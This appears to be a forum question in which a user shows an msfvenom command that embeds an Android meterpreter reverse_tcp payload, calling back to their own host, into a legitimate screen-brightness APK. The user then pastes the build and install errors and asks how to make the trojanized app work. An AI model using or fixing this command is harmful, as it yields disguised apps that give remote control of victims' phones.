I want to embed a payload to an apk file. I tried to use the msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
And this was the output:
Using APK template: ScreenBrightness.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0-dirty
/usr/bin/apktool: line 27: mkdir: command not found
/usr/bin/apktool: line 28: ln: command not found
Then I checked the directory and found that there was a file named output.apk
I tried to install the output.apk on my android it said App not Installed
. I've tried multiple times but this was the result.
So, I tried to install the output.apk using adb by command adb install output.apk
And still this was the output:
Failure [INSTALL_FAILED_INVALID_APK]
I am using Linux: Parrot GNU/Linux
My android: Android 6.0.1 (Marshmello)
What should I do to properly embed a payload to an apk file?
Thanks in Advance.